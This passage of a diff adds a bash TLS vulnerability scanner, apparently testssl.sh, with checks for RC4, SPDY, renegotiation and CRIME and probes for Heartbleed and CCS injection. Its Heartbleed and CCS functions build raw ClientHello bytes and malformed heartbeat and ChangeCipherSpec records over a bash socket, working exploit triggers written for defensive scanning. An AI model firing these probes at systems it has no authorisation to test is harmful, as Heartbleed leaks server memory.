+               outln "RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a"
+       else
+               outln
+               litegreenln "No RC4 ciphers detected (OK)"
+               bad=0
+       fi
+
+       rm $TMPFILE
+       return $bad
+}
+
+
+# good source for configuration and bugs: https://wiki.mozilla.org/Security/Server_Side_TLS
+# good start to read: http://en.wikipedia.org/wiki/Transport_Layer_Security#Attacks_against_TLS.2FSSL
+
+
+lucky13() {
+#FIXME: to do
+# CVE-2013-0169
+# in a nutshell: don't offer CBC suites (again). MAC as a fix for padding oracles is not enough
+# best: TLS v1.2+ AES GCM
+       echo "FIXME"
+       echo
+}
+
+
+spdy(){
+       out " SPDY/NPN   "
+       if [ "x$STARTTLS" != "x" ]; then
+               outln "SPDY is an HTTP protocol"
+               ret=2
+       fi
+       # first, does the current openssl support it?
+       $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg
+       if [ $? -ne 0 ]; then
+               magenta "Local problem: $OPENSSL cannot test SPDY"; outln
+               ret=3
+       fi
+       $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs </dev/null 2>/dev/null >$TMPFILE
+       if [ $? -eq 0 ]; then
+               # we need -a here 
+               tmpstr=`grep -a '^Protocols' $TMPFILE | sed 's/Protocols.*: //'`
+               if [ -z "$tmpstr" -o "$tmpstr" = " " ] ; then
+                       out "not offered"
+                       ret=1
+               else
+                       # now comes a strange thing: "Protocols advertised by server:" is empty but connection succeeded
+                       if echo $tmpstr | egrep -q "spdy|http" ; then
+                               green "$tmpstr" ; out " (advertised)"
+                               ret=0
+                       else
+                               litemagenta "please check manually, response from server was ambigious ..."
+                               ret=10
+                       fi
+               fi
+       else
+               litemagenta "handshake failed"
+               ret=2
+       fi
+       outln
+       # btw: nmap can do that too http://nmap.org/nsedoc/scripts/tls-nextprotoneg.html
+       # nmap --script=tls-nextprotoneg #NODE -p $PORT is your friend if your openssl doesn't want to test this
+       rm $TMPFILE
+       return $ret
+}
+
+fd_socket() {
+# arg doesn't work here
+       if ! exec 5<> /dev/tcp/$NODEIP/$PORT; then
+               echo "`basename $0`: unable to make bash socket connection to $NODEIP:$PORT"
+               return 6
+       fi
+       return 0
+}
+
+ok_ids(){
+       echo
+       tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
+       echo
+       exit 0
+}
+
+ccs_injection(){
+       # see https://www.openssl.org/news/secadv_20140605.txt
+       # mainly adapted from Ramon de C Valle's C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+       bold " CCS "; out " (CVE-2014-0224), experimental        "
+       ccs_message="\x14\x03\tls_version\x00\x01\x01"
+
+       $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT &>$TMPFILE </dev/null
+
+       tls_hexcode=x01
+       proto_offered=`grep -w Protocol $TMPFILE | sed -e 's/^ \+Protocol \+://'`
+       case $tls_proto_offered in
+               *TLSv1.2*)      tls_hexcode=x03 ;;
+               *TLSv1.1*)      tls_hexcode=x02 ;;
+       esac
+
+       client_hello="
+       # TLS header ( 5 bytes)
+       ,x16,               # Content type (x16 for handshake)
+       x03, tls_version,   # TLS Version
+       x00, x93,           # Length
+       # Handshake header
+       x01,                # Type (x01 for ClientHello)
+       x00, x00, x8f,      # Length
+       x03, tls_version,   # TLS Version
+       # Random (32 byte) 
+       x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+       xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+       xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+       x03, x90, x9f, x77, x04, x33, xd4, xde,
+       x00,                # Session ID length
+       x00, x68,           # Cipher suites length
+       # Cipher suites (51 suites)
+       xc0, x13, xc0, x12, xc0, x11, xc0, x10,
+       xc0, x0f, xc0, x0e, xc0, x0d, xc0, x0c,
+       xc0, x0b, xc0, x0a, xc0, x09, xc0, x08,
+       xc0, x07, xc0, x06, xc0, x05, xc0, x04,
+       xc0, x03, xc0, x02, xc0, x01, x00, x39,
+       x00, x38, x00, x37, x00, x36, x00, x35, x00, x34,
+       x00, x33, x00, x32, x00, x31, x00, x30,
+       x00, x2f, x00, x16, x00, x15, x00, x14,
+       x00, x13, x00, x12, x00, x11, x00, x10,
+       x00, x0f, x00, x0e, x00, x0d, x00, x0c,
+       x00, x0b, x00, x0a, x00, x09, x00, x08,
+       x00, x07, x00, x06, x00, x05, x00, x04,
+       x00, x03, x00, x02, x00, x01, x01, x00"
+
+       msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' -e 's/[ \t]//g' | tr -d '\n'`
+
+       fd_socket 5 || return 6
+
+       [ $VERBOSE -eq 1 ] && out " sending client hello, "
+       socksend "$msg" $tls_hexcode 1
+       sockread 10000 
+
+       if [ $VERBOSE -eq 1 ]; then
+               outln "\n server hello:"
+               echo "$SOCKREPLY" | xxd -c32 | head -20
+               outln "[...]"
+               outln "payload with TLS version $tls_hexcode:"
+       fi
+
+       socksend $ccs_message $tls_hexcode 1 || ok_ids
+       socksend $ccs_message $tls_hexcode 2 || ok_ids
+       sockread 16384
+
+       if [ $VERBOSE -eq 1 ]; then
+               outln "\n reply: "
+               echo "$SOCKREPLY" | xxd -c32
+               outln
+       fi
+
+       reply_sanitized=`echo "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
+       lines=`echo "$SOCKREPLY" | xxd -c32 | wc -l`
+
+       if [ "$reply_sanitized" == "0a" ] || [ "$lines" -gt 1 ] ; then
+               greenln "NOT vulnerable (ok)"
+               ret=0
+       else
+               redln "VULNERABLE"
+               ret=1
+       fi
+       rm $TMPFILE
+       return $ret
+}
+
+heartbleed(){
+       bold " Heartbleed\c"; out " (CVE-2014-0160), experimental  "
+# see  http://heartbleed.com/
+       $OPENSSL s_client -tlsextdebug 2>&1 | grep -wq '^usage'
+       if [ $? -eq 0 ]; then
+               magenta "Local problem: Your $OPENSSL cannot run the pretest for this - "
+               outln "continueing at your own risks"
+       fi
+# we don't need SNI here:
+       $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT -tlsextdebug &>$TMPFILE </dev/null
+       grep "server extension" $TMPFILE | grep -wq heartbeat
+       if [ $? -ne 0 ]; then
+               greenln "No TLS heartbeat extension (ok)"
+               ret=0
+       else
+               # mainly adapted from https://gist.github.com/takeshixx/10107280
+               heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
+
+               tls_hexcode=x01
+               proto_offered=`grep -w Protocol $TMPFILE | sed -e 's/^ \+Protocol \+://'`
+               case $tls_proto_offered in
+                       *TLSv1.2*)      tls_hexcode=x03 ;;
+                       *TLSv1.1*)      tls_hexcode=x02 ;;
+               esac
+
+               client_hello="
+               # TLS header ( 5 bytes)
+               ,x16,                      # Content type (x16 for handshake)
+               x03, tls_version,          # TLS Version
+               x00, xdc,                  # Length
+               # Handshake header
+               x01,                       # Type (x01 for ClientHello)
+               x00, x00, xd8,             # Length
+               x03, tls_version,          # TLS Version
+          # Random (32 byte)
+               x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+               xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+               xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+               x03, x90, x9f, x77, x04, x33, xd4, xde,
+               x00,                       # Session ID length
+               x00, x66,                  # Cipher suites length
+                                     # Cipher suites (51 suites)
+               xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+               x00, x39, x00, x38, x00, x88, x00, x87,
+               xc0, x0f, xc0, x05, x00, x35, x00, x84,
+               xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+               x00, x16, x00, x13, xc0, x0d, xc0, x03,
+               x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+               xc0, x1e, x00, x33, x00, x32, x00, x9a,
+               x00, x99, x00, x45, x00, x44, xc0, x0e,
+               xc0, x04, x00, x2f, x00, x96, x00, x41,
+               xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+               x00, x05, x00, x04, x00, x15, x00, x12,
+               x00, x09, x00, x14, x00, x11, x00, x08,
+               x00, x06, x00, x03, x00, xff,
+               x01,                       # Compression methods length
+               x00,                       # Compression method (x00 for NULL)
+               x00, x49,                  # Extensions length
+          # Extension: ec_point_formats
+               x00, x0b, x00, x04, x03, x00, x01, x02,
+          # Extension: elliptic_curves
+               x00, x0a, x00, x34, x00, x32, x00, x0e,
+               x00, x0d, x00, x19, x00, x0b, x00, x0c,
+               x00, x18, x00, x09, x00, x0a, x00, x16,
+               x00, x17, x00, x08, x00, x06, x00, x07,
+               x00, x14, x00, x15, x00, x04, x00, x05,
+               x00, x12, x00, x13, x00, x01, x00, x02,
+               x00, x03, x00, x0f, x00, x10, x00, x11,
+          # Extension: SessionTicket TLS
+               x00, x23, x00, x00,
+          # Extension: Heartbeat
+               x00, x0f, x00, x01, x01"
+
+               msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' -e 's/[ \t]//g' | tr -d '\n'`
+
+               fd_socket 5 || return 6
+
+               [ $VERBOSE -eq 1 ] && out " sending client hello, "
+               socksend "$msg" $tls_hexcode 1
+               sockread 10000 
+
+               if [ $VERBOSE -eq 1 ]; then
+                       outln "\n server hello:"
+                       echo "$SOCKREPLY" | xxd -c32 | head -20
+                       outln "[...]"
+                       outln " sending payload with TLS version $tls_hexcode:"
+               fi
+
+               socksend $heartbleed_payload $tls_hexcode 1
+               sockread 16384
+
+               if [ $VERBOSE -eq 1 ]; then
+                       outln "\n heartbleed reply: "
+                       echo "$SOCKREPLY" | xxd -c32
+                       outln
+               fi
+
+               lines_returned=`echo "$SOCKREPLY" | xxd | wc -l`
+               if [ $lines_returned -gt 1 ]; then
+                       redln "VULNERABLE"
+                       ret=1
+               else
+                       greenln "NOT vulnerable (ok)"
+                       ret=0
+               fi
+       fi
+       rm $TMPFILE
+       return $ret
+}
+
+
+renego() {
+       ADDCMD=""
+       # This tests for CVE-2009-3555 / RFC5746, OSVDB: 59968-59974
+       case "$OSSL_VER" in
+               # =< 0.9.7 is weeded out before
+               0.9.8*)
+                       case "$OSSL_VER_APPENDIX" in
+                               [a-l])
+                                       magenta "Your $OPENSSL $OSSL_VER cannot test the secure renegotiation vulnerability"
+                                       return 3 ;;
+                               [m-z])
+                                       # all ok ;;
+                       esac ;;
+               1.0.1*)
+                       ADDCMD="-legacy_renegotiation" ;;
+               0.9.9*|1.0*)
+                       # all ok ;;
+       esac
+       bold " Renegotiation "; out "(CVE 2009-3555)             "
+       echo R | $OPENSSL s_client $ADDCMD $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null
+       reneg_ok=$?                                     # 0=client is renegotiating and does not gets an error: that should not be!
+       NEG_STR="Secure Renegotiation IS NOT"
+       echo "R" | $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>&1 | grep -iq "$NEG_STR"
+       secreg=$?                                               # 0= Secure Renegotiation IS NOT supported
+
+       if [ $reneg_ok -eq 0 ] && [ $secreg -eq 0 ]; then
+               # Client side renegotiation is accepted and secure renegotiation IS NOT supported 
+               redln "is vulnerable (not ok)"
+               return 1
+       fi
+       if [ $reneg_ok -eq 1 ] && [ $secreg -eq 1 ]; then
+               greenln "NOT vulnerable (ok)"
+               return 0
+       fi
+       if [ $reneg_ok -eq 1 ] ; then   # 1,0
+               litegreenln "got an error from the server while renegotiating on client: should be ok ($reneg_ok,$secreg)"
+               return 0
+       fi
+       litegreenln "Patched Server detected ($reneg_ok,$secreg), probably ok"  # 0,1
+       return 0
+}
+
+crime() {
+       # in a nutshell: don't offer TLS/SPDY compression on the server side
+       # 
+       # This tests for CRIME Vulnerability (www.ekoparty.org/2012/juliano-rizzo.php) on HTTPS, not SPDY (yet)
+     # Please note that it is an attack where you need client side control, so in regular situations this
+       # means anyway "game over", w/wo CRIME
+       # www.h-online.com/security/news/item/Vulnerability-in-SSL-encryption-is-barely-exploitable-1708604.html
+
+       ADDCMD=""
+       case "$OSSL_VER" in
+               # =< 0.9.7 was weeded out before
+               0.9.8)
+                       ADDCMD="-no_ssl2" ;;
+               0.9.9*|1.0*)
+               ;;
+       esac
+
+       bold " CRIME, TLS " ; out "(CVE-2012-4929)                "
+
+       # first we need to test whether OpenSSL binary has zlib support
+       $OPENSSL zlib -e -a  -in /dev/stdin &>/dev/stdout </dev/null | grep -q zlib 
+       if [ $? -eq 0 ]; then
+               magentaln "Seems your $OPENSSL hasn't zlib support, so you cannot test for CRIME"; echo
+               return 0  #FIXME
+       fi
+
+       STR=`$OPENSSL s_client $ADDCMD $STARTTLS -connect $NODEIP:$PORT $SNI 2>&1 </dev/null | grep Compression `
+       if echo $STR | grep -q NONE >/dev/null; then
+               greenln "NOT vulnerable (ok) "
+               ret=0
+       else
+               redln "is vulnerable (not ok)"
+               ret=1
+       fi
+
+# this needs to be re-done i order to remove the redundant check for spdy
+
+       # weed out starttls, spdy-crime is a web thingy
+#      if [ "x$STARTTLS" != "x" ]; then
+#              echo
+#              return $ret
+#      fi
+
+       # weed out non-webports, spdy-crime is a web thingy. there's a catch thoug, you see it?
+#      case $PORT in
+#              25|465|587|80|110|143|993|995|21)
+#              echo
+#              return $ret
+#      esac
+
+#      $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg
+#      if [ $? -eq 0 ]; then
+#              $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs  $SNI </dev/null 2>/dev/null >$TMPFILE
+#              if [ $? -eq 0 ]; then
+#                      echo
+#                      bold "CRIME Vulnerability, SPDY \c" ; outln "(CVE-2012-4929): \c"
+
+#                      STR=`grep Compression $TMPFILE `
+#                      if echo $STR | grep -q NONE >/dev/null; then
+#                              green "NOT vulnerable (ok)"
+#                              ret=`expr $ret + 0`
+#                      else
+#                              red "is vulnerable (not ok)"
+#                              ret=`expr $ret + 1`
+#                      fi
+#              fi
+#      fi
+       [ $VERBERR -eq 0 ] && outln "$STR"
+       #echo
+       return $ret
+}
+
+beast(){
+       #FIXME: to do
+#in a nutshell: don't use CBC Ciphers in TLSv1.0
+# need to provide a list with bad ciphers. Not sure though whether
+# it can be fixed in the OpenSSL/NSS/whatsover stack
+       return 0
+}
+
+youknowwho() {
+# CVE-2013-2566, 
+# NOT FIXME as there's no code: http://www.isg.rhul.ac.uk/tls/
+# http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html
+return 0
+# in a nutshell: don't use RC4, really not!
+}
+
+old_fart() {
+       magentaln "Your $OPENSSL $OSSL_VER version is an old fart..."
+       magentaln "Get the precompiled bins, it doesn\'t make much sense to proceed"
+       exit 3
+}
+
+find_openssl_binary() {
+# 0. check environment variable whether it's executable
+       if [ ! -z "$OPENSSL" ] && [ ! -x "$OPENSSL" ]; then
+               redln "\ncannot execute specified ($OPENSSL) openssl binary."
+               outln "continuing ..."
+       fi
+       if [ -x "$OPENSSL" ]; then
+# 1. check environment variable
+               :
+       else
+# 2. otherwise try openssl in path of testssl.sh
+               OPENSSL=$RUN_DIR/openssl
+               if [ ! -x $OPENSSL ] ; then
+# 3. with arch suffix
+                       OPENSSL=$RUN_DIR/openssl.`uname -m`
+                       if [ ! -x $OPENSSL ] ; then
+#4. finally: didn't fiond anything, so we take the one propably from system:
+                               OPENSSL=`which openssl`
+                       fi
+               fi
+       fi
+
+       # http://www.openssl.org/news/openssl-notes.html
+       OSSL_VER=`$OPENSSL version | awk -F' ' '{ print $2 }'`
+       OSSL_VER_MAJOR=`echo "$OSSL_VER" | sed 's/\..*$//'`
+       OSSL_VER_MINOR=`echo "$OSSL_VER" | sed -e 's/^.\.//' | sed 's/\..*.//'`
+       OSSL_VER_APPENDIX=`echo "$OSSL_VER" | tr -d '[0-9.]'`
+       OSSL_BUILD_DATE=`$OPENSSL version -a | grep '^built' | sed -e 's/built on//' -e 's/: ... //' -e 's/: //' -e 's/ UTC//' -e 's/ +0000//' -e 's/.000000000//'`
+       echo $OSSL_BUILD_DATE | grep -q "not available" && OSSL_BUILD_DATE=""
+       export OPENSSL OSSL_VER OSSL_BUILD_DATE
+       case "$OSSL_VER" in
+               0.9.7*|0.9.6*|0.9.5*)
+                       # 0.9.5a was latest in 0.9.5 an released 2000/4/1, that'll NOT suffice for this test
+                       old_fart ;;
+               0.9.8)
+                       case $OSSL_VER_APPENDIX in
+                               a|b|c|d|e) old_fart;; # no SNI!
+                       esac
+                       ;;
+       esac
+       if [ $OSSL_VER_MAJOR -lt 1 ]; then ## mm: libressl patch
+               magentaln "<Enter> at your own risk. $OPENSSL version < 1.0 is too old for this program"
+               read a
+       fi
+       return 0
+}
+
+
+find_nc_binary() {
+## FIXME: only the openbsd netcat understands IPv6 addresses! ==> bash sockets?
+       NC=`which netcat 2>/dev/null` 
+       if [ "$?" -ne 0 ]; then
+               NC=`which nc 2>/dev/null`
+               if [ "$?" -ne 0 ]; then
+                       outln "sorry. No netcat found, bye."
+                       return 1 
+               fi
+       fi
+       return 0
+}
+
+starttls() {
+       protocol=`echo "$1" | sed 's/s$//'`      # strip trailing s in ftp(s), smtp(s), pop3(s), imap(s) 
+       case "$1" in
+               ftp|smtp|pop3|imap|xmpp|telnet)
+                       $OPENSSL s_client -connect $NODEIP:$PORT $SNI -starttls $protocol </dev/null >$TMPFILE 2>&1
+                       ret=$?
+                       if [ $ret -ne 0 ]; then
+                               bold "Problem: $OPENSSL couldn't estabilish STARTTLS via $protocol"; outln
+                               cat $TMPFILE
+                               return 3
+                       else
+# now, this is lame: normally this should be handled by top level. Then I need to do proper parsing
+# of the cmdline e.g. with getopts. 
+                               STARTTLS="-starttls $protocol"
+                               export STARTTLS
+                               runprotocols            ; ret=`expr $? + $ret`
+                               run_std_cipherlists     ; ret=`expr $? + $ret`
+                               simple_preference       ; ret=`expr $? + $ret`
+
+                               outln; blue "--> Testing specific vulnerabilities" ; outln "\n"
+#FIXME: heartbleed + CCS won't work this way yet
+#                              heartbleed     ; ret=`expr $? + $ret`
+#                              ccs_injection  ; ret=`expr $? + $ret`
+                               renego          ; ret=`expr $? + $ret`
+                               crime           ; ret=`expr $? + $ret`
+                               beast           ; ret=`expr $? + $ret`
+
+                               outln
+                               #cipher_per_proto   ; ret=`expr $? + $ret`
+                               allciphers              ; ret=`expr $? + $ret`
+
+                               rc4                     ; ret=`expr $? + $ret`
+                               pfs                     ; ret=`expr $? + $ret`
+                       fi
+                       ;;
+               *) outln "momentarily only ftp, smtp, pop3, imap, xmpp and telnet allowed" >&2
+                       ret=2
+                       ;;
+       esac
+       return $ret
+}
+
+
+help() {
+       PRG=`basename $0`
+       cat << EOF
+
+$PRG <options> URI
+
+where <options> is *one* of
+
+       <-h|--help>                 what you're looking at
+       <-b|--banner>               displays banner + version
+       <-v|--version>              same as above
+       <-V|--local>                pretty print all local ciphers
+       <-V|--local> <hexcode>      what cipher is <pattern hexcode>?
+
+       <-e|--each-cipher>          check each local ciphers remotely 
+       <-E|-ee|--cipher-per-proto> check those per protocol
+       <-f|--ciphers>              check cipher suites
+       <-p|--protocols>            check TLS/SSL protocols only
+       <-P|--preference>           displays the servers picks: protocol+cipher
+       <-y|--spdy>                 checks for SPDY/NPN
+       <-B|--heartbleed>           tests only for heartbleed vulnerability
+       <-I|--ccs|--ccs_injection>  tests only for CCS injection vulnerability
+       <-R|--renegotiation>        tests only for renegotiation vulnerability
+       <-C|--compression|--crime>  tests only for CRIME vulnerability
+       <-T|--breach>               tests only for BREACH vulnerability
+       <-s|--pfs|--fs|--nsa>       checks (perfect) forward secrecy settings
+       <-4|--rc4|--appelbaum>      which RC4 ciphers are being offered?
+       <-H|--header|--headers>     check for HSTS and server banner string
+
+URI is  host|host:port|URL|URL:port
+        (port 443 is assumed unless otherwise specified)
+
+       <-t|--starttls> host:port <ftp|smtp|pop3|imap|xmpp|telnet> <SNI hostname> *)
+
+
+*) for telnet STARTTLS support you need a/my patched openssl version
+
+
+EOF
+       return $?
+}
+
+
+mybanner() {
+       me=`basename $0`
+       osslver=`$OPENSSL version`
+       osslpath=`which $OPENSSL`
+       hn=`hostname`
+       #poor man's ident (nowadays not neccessarily installed)
+       idtag=`grep '\$Id' $0 | grep -w Exp | grep -v grep | sed -e 's/^#  //' -e 's/\$ $/\$/'`
+       idtagshy="\033[1;30m$idtag\033[m\033[1m"
+       bb=`cat <<EOF
+
+#########################################################
+$me v$VERSION  ($SWURL)
+($idtagshy)
+
+   This program is free software. Redistribution + 
+   modification under GPLv2 is permitted. 
+   USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
+
+ Note you can only check the server against what is
+ available (ciphers/protocols) locally on your machine
+#########################################################
+EOF
+`
+bold "$bb"
+outln "\n"
+outln "Using \"$osslver\" [$OSSL_BUILD_DATE]
+      on \"$hn:$osslpath\"\n"
+
+}
+
+maketempf () {
+       TMPFILE=`mktemp /tmp/ssltester.$NODE.XXXXXX` || exit 6
+       HEADERFILE=`mktemp /tmp/ssltester.header$NODE.XXXXXX` || exit 6
+       HEADERFILE_BREACH=`mktemp /tmp/ssltester.header$NODE.XXXXXX` || exit 6
+       #LOGFILE=`mktemp /tmp/ssltester.$NODE.XXXXXX.log` || exit 6
+}
+
+cleanup () {
+       if [ $DEBUG -eq 1 ] ; then
+               [ -e $TMPFILE ] && cat $TMPFILE 
+               [ -e $HEADERFILE ] && cat $HEADERFILE 
+               [ -e $HEADERFILE_BREACH ] && cat $HEADERFILE_BREACH
+               #[ -e $LOGFILE ] && cat $LOGFILE 
+       else
+               rm $TMPFILE $HEADERFILE $LOGFILE $GOST_CONF 2>/dev/null
+       fi
+       outln
+       outln
+       datebanner "Done"
+       outln
+}
+
+initialize_engine(){
+       if uname -s | grep -q BSD || ! $OPENSSL engine gost -vvvv -t -c 2>&1 >/dev/null; then
+               litemagenta "No engine or GOST support via engine with your $OPENSSL"; outln "\n"
+               return 1
+       else 
+               if [ -z "$OPENSSL_CONF" ]; then
+                       GOST_CONF=`mktemp /tmp/ssltester.GOST.XXXXXX` || exit 6
+                       # see https://www.mail-archive.com/openssl-users@openssl.org/msg65395.html
+                       cat >$GOST_CONF << EOF
+openssl_conf            = openssl_def
+
+[ openssl_def ]
+engines                 = engine_section
+
+[ engine_section ]
+gost = gost_section
+
+[ gost_section ]
+engine_id = gost
+default_algorithms = ALL
+CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
+
+EOF
+                       export OPENSSL_CONF=$GOST_CONF
+               else
+                       litemagenta "For now I am providing the config file in to have GOST support"; outln
+                       sleep 2
+                       outln
+               fi
+       fi
+       return 0
+}
+
+
+ignore_no_or_lame() {
+       if [ "$WARNINGS" = "off" -o "$WARNINGS" = "false" ]; then
+               return 0
+       fi
+       outln
+       out "$1 "
+       read a
+       case $a in
+               Y|y|Yes|YES|yes) 
+                       return 0;;
+               default) 
+                       ;;
+       esac
+
+       return 1
+}
+
+
+parse_hn_port() {
+       PORT=443                # unless otherwise auto-determined, see below
+       NODE="$1"
+
+       # strip "https" and trailing urlpath supposed it was supplied additionally
+       echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///'` 
+
+       # strip trailing urlpath
+       NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+       # was the address supplied like [AA:BB:CC::]:port ?
+       if echo $NODE | grep -q ']' ; then
+               tmp_port=`printf $NODE | sed 's/\[.*\]//' | sed 's/://'`
+               # determine v6 port, supposed it was supplied additionally
+               if [ ! -z "$tmp_port" ] ; then
+                       PORT=$tmp_port
+                       NODE=`printf $NODE | sed "s/:$PORT//"`
+               fi
+               NODE=`printf $NODE | sed -e 's/\[//' -e 's/\]//'`
+       else
+               # determine v4 port, supposed it was supplied additionally
+               echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+       fi
+       SNI="-servername $NODE" 
+
+       #URLP=`echo $1 | sed 's/'"${PROTO}"':\/\/'"${NODE}"'//'`
+       #URLP=`echo $URLP | sed 's/\/\//\//g'`                             # // -> /
+
+       # now get NODEIP
+       get_dns_entries
+
+       # check if netcat can connect to port 
+       if find_nc_binary; then
+               if ! $NC -z -v -w 2 $NODEIP $PORT &>/dev/null; then
+                       ignore_no_or_lame "Supply a correct host/port pair. On $NODEIP:$PORT doesn't seem to be any service. Ignore? "
+                       [ $? -ne 0 ] && exit 3
+               fi
+       fi
+
+       if [ -z "$2" ]; then    # for starttls we don't want this check
+               # is ssl service listening on port? FIXME: better with bash on IP!
+               $OPENSSL s_client -connect "$NODE:$PORT" $SNI </dev/null >/dev/null 2>&1 
+               if [ $? -ne 0 ]; then
+                       ignore_no_or_lame "On port $PORT @ $NODE seems a server but not TLS/SSL enabled. Ignore? "
+                       [ $? -ne 0 ] && exit 3
+               fi
+       fi
+
+       datebanner "Testing"
+
+       [ "$PORT" != 443 ] && bold "A non standard port or testing no web servers might show lame reponses (then just wait)\n"
+       initialize_engine
+}
+
+
+get_dns_entries() {
+       # for security testing sometimes we have local host entries, so getent is preferred
+       if which getent 2>&1 >/dev/null ; then
+               getent ahostsv4 $NODE 2>/dev/null >/dev/null
+               if [ $? -eq 0 ]; then
+                       # Linux, no BSD
+                       key2get=ahostsv4
+               else
+                       key2get=hosts
+               fi
+       fi
+       IP4=`getent $key2get $NODE &>/dev/null | grep $NODE | grep -v ':' | awk '{ print $1}' | uniq`
+       # getent returned nothing:
+       if [ -z "$IP4" ] ; then
+               IP4=`host -t a $NODE | grep -v alias | sed 's/^.*address //'`
+               if  echo "$IP4" | grep -q NXDOMAIN  ; then
+                       magenta "Can't proceed: No IP resultion from \"$NODE\""; outln "\n"
+                       exit 1
+               fi
+       fi
+
+       # for IPv6 we often get this :ffff:IPV4 address which isn't of any use
+       #which getent 2>&1 >/dev/null && IP6=`getent ahostsv6 $NODE | grep $NODE | awk '{ print $1}' | grep -v '::ffff' | uniq`
+
+       if [ -z "$IP6" ] ; then
+               if host -t aaaa $NODE 2>&1 >/dev/null ; then
+                       IP6=`host -t aaaa $NODE | grep -v alias | grep -v "no AAAA record" | sed 's/^.*address //'`
+               else
+                       IP6=""
+               fi
+       fi
+       
+       IPADDRs=`echo $IP4`
+       [ ! -z "$IP6" ] && IPADDRs=`echo $IP4`" "`echo $IP6`
+
+# FIXME: we could test more than one IPv4 addresses if available, same IPv6. For now we test the first IPv4:
+       NODEIP=`echo "$IP4" | head -1`
+
+# we can't do this as some checks are not yet IPv6 safe (sorry!)
+       #NODEIP=`echo "$IP6" | head -1`
+       rDNS=`host -t PTR $NODEIP | grep -v "is an alias for" | sed -e 's/^.*pointer //' -e 's/\.$//'`
+       echo $rDNS | grep -q NXDOMAIN  && rDNS=" - "
+}
+
+display_rdns_etc() {
+     if [ `echo "$IPADDRs" | wc -w` -gt 1 ]; then
+          out " further IP addresses:  "
+          for i in $IPADDRs; do
+               [ "$i" == "$NODEIP" ] && continue
+               out " $i"
+          done
+               outln
+       fi
+       if  [ -n "$rDNS" ] ; then
+               out  " rDNS ($NODEIP):"
+               out "$rDNS" 26
+               outln
+       fi
+}
+
+datebanner() {
+       tojour=`date +%F`" "`date +%R`
+       reverse "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---"; outln
+     if [ "$1" = "Testing" ] ; then
+               outln
+               display_rdns_etc 
+               outln 
+       fi
+       outln
+}
+
+
+
+################# main: #################
+
+
+case "$1" in
+       -h|--help|-help|"")
+               help
+               exit $?  ;;
+esac
+
+# auto determine where bins are
+find_openssl_binary
+mybanner
+
+#PATH_TO_TESTSSL="$(cd "${0%/*}" 2>/dev/null; echo "$PWD"/"${0##*/}")"
+PATH_TO_TESTSSL=`readlink "$BASH_SOURCE"` 2>/dev/null
+[ -z $PATH_TO_TESTSSL ] && PATH_TO_TESTSSL="."
+MAP_RFC_FNAME=`dirname $PATH_TO_TESTSSL`"/mapping-rfc.txt"     # this file provides a pair "keycode/ RFC style name", see the RFCs, cipher(1)
+                                                                                               # and https://www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_simple_table_all.htm
+
+#FIXME: I know this sucks and getoptS is better
+
+case "$1" in
+     -b|--banner|-banner|-v|--version|-version)
+               exit 0 
+               ;;
+       -V|--local)
+               initialize_engine       # GOST support
+               prettyprint_local "$2"
+               exit $? ;;
+       -t|--starttls)                  
+               parse_hn_port "$2" "$3" # here comes hostname:port and protocol to signal starttls
+               maketempf
+               starttls "$3"           # protocol
+               ret=$?
+               cleanup
+               exit $ret ;;
+       -e|--each-cipher)
+               parse_hn_port "$2"
+               maketempf
+               allciphers 
+               ret=$?
+               cleanup 
+               exit $ret ;;
+       -E|-ee|--cipher-per-proto)  
+               parse_hn_port "$2"
+               maketempf
+               cipher_per_proto
+               ret=$?
+               cleanup 
+               exit $ret ;;
+       -p|--protocols)
+               parse_hn_port "$2"
+               maketempf
+               runprotocols    ; ret=$?
+               spdy                    ; ret=`expr $? + $ret`
+               cleanup
+               exit $ret ;;
+       -f|--ciphers)
+               parse_hn_port "$2"
+               maketempf
+               run_std_cipherlists
+               ret=$?
+               cleanup
+               exit $ret ;;
+     -P|--preference)   
+               parse_hn_port "$2"
+               maketempf
+               simple_preference
+               ret=$?
+               cleanup
+               exit $ret ;;
+       -y|--spdy|--google)
+               parse_hn_port "$2"
+               maketempf
+               spdy
+               ret=$?
+               cleanup
+               exit $?  ;;
+       -B|--heartbleet)
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing for heartbleed vulnerability"; outln "\n"
+               heartbleed
+               ret=$?
+               cleanup
+               exit $?  ;;
+       -I|--ccs|--ccs_injection)
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing for CCS injection vulnerability"; outln "\n"
+               ccs_injection
+               ret=$?
